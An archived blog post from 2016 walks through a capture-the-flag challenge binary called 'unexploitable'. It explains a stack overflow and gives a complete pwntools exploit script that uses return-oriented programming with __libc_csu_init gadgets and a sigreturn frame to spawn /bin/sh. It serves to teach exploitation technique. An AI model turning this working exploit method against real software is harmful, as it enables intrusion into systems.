💾 Archived View for 0x80.org › gemlog › 2016-03-18-unexploitable-hackerdom.gmi captured on 2022-04-28 at 17:40:33. Gemini links have been rewritten to link to archived content
⬅️ Previous capture (2021-12-03)
-=-=-=-=-=-=-
A friend of mine sent me a challenge called unexploitable download from here[1] (elf64) here it has the following source code :
1: http://0x80.org/challenges/unexploitable
#include <stdio.h> void main() { // no brute forcing sleep(3); // exploit me int buf[4]; read(0, buf, 1295); }
compiled with
CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
also full aslr is enabled. The binary is small therefore not many gadgets exist to do awesome things. Let us use what we have, an important gadget exists in __libc_csu_init, this can allow us to control the first three params (rdi,rsi,rdx).
│ └─> 0x004005e6 mov rbx, qword [rsp + 8] │ 0x004005eb mov rbp, qword [rsp + 0x10] │ 0x004005f0 mov r12, qword [rsp + 0x18] │ 0x004005f5 mov r13, qword [rsp + 0x20] │ 0x004005fa mov r14, qword [rsp + 0x28] │ 0x004005ff mov r15, qword [rsp + 0x30] │ 0x00400604 add rsp, 0x38 ╘ 0x00400608 ret
and above it is the call portion
│ ┌──> 0x004005d0 mov rdx, r15 │ ││ 0x004005d3 mov rsi, r14 │ ││ 0x004005d6 mov edi, r13d │ ││ 0x004005d9 call qword [r12 + rbx*8]
equivalent to (r12+rbx*8)(r13d,r14,r15), if we point r12 to 0x601000 we can call read with three params, this allows us to control rax, and to write anywhere writeable. Something like :
def csu_read(fd, buf_ptr, count): r = p64(0x4005E6) # libc_csu_init r += p64(0x00) r += p64(0x00) # rbx r += p64(0x01) # rbp r += p64(read_plt) # r12 -> read@plt r += p64(fd) # r13 -> stdin r += p64(buf_ptr) # r14 -> read in data r += p64(count) # r15 -> rdx size for read r += p64(do_call) r += p64(PADD)*7 # padding return r
another important gadget is
0x00400560: syscall ; (1 found)
So now we have all the parts needed to exploit this successfully, our approach is as follows :
in our new rop we do the following
we also set the /bin/sh string and a pointer to it and to the envp somewhere inside the known rop location that we're using.
full exploit :
#!/usr/bin/env python2 import sys from pwn import * context.update(arch="amd64", os="linux") SYS_sigreturn = 0x0f syscall = 0x400560 read_plt = 0x601008-8 do_call = 0x4005d0 # csu_call 3 params PADD = 0xdeadc0dedeadc0de new_rop = 0x601000+16 # new rop region ''' Does read via libc_csu_init ''' def csu_read(fd, buf_ptr, count): r = p64(0x4005E6) # libc_csu_init r += p64(0x00) r += p64(0x00) # rbx r += p64(0x01) # rbp r += p64(read_plt) # r12 -> read@plt r += p64(fd) # r13 -> stdin r += p64(buf_ptr) # r14 -> read in data r += p64(count) # r15 -> rdx size for read r += p64(do_call) r += p64(PADD)*7 # padding return r def main(): frame = SigreturnFrame(kernel='amd64') frame.rax = constants.SYS_execve # SYS.execve frame.rdi = 0x601190 # const char *path frame.rsi = 0x601190+16 # char *const argv[] frame.rdx = 0x601190+8 # char *const envp[] frame.rsp = 0x601190+16+8 # next stack (not necessary) frame.rip = syscall rop = csu_read(0, new_rop+500, SYS_sigreturn) # SYS_sigreturn rop += p64(syscall) rop += str(frame) rop += p64(0x68732f6e69622f) # 0x601190 rop += p64(0) # 0x601190+8 rop += p64(0x601190) # 0x601190+16 # ropstager starts # we use stdin to upload stager to specific region p = p64(PADD)*3 p += csu_read(0, new_rop, len(rop)) p += p64(0x400512) # pop rbp; ret p += p64(new_rop-8) # the new rop p += p64(0x400576) # leave; ret p += "\xcc"*(1295-len(p)) # fill the read sys.stdout.write(p) # main payload sys.stdout.write(rop) # first read move rop to 0x60xx.. sys.stdout.write("\x00"*(SYS_sigreturn+1)) # third read set rax for syscall if __name__ == "__main__": main()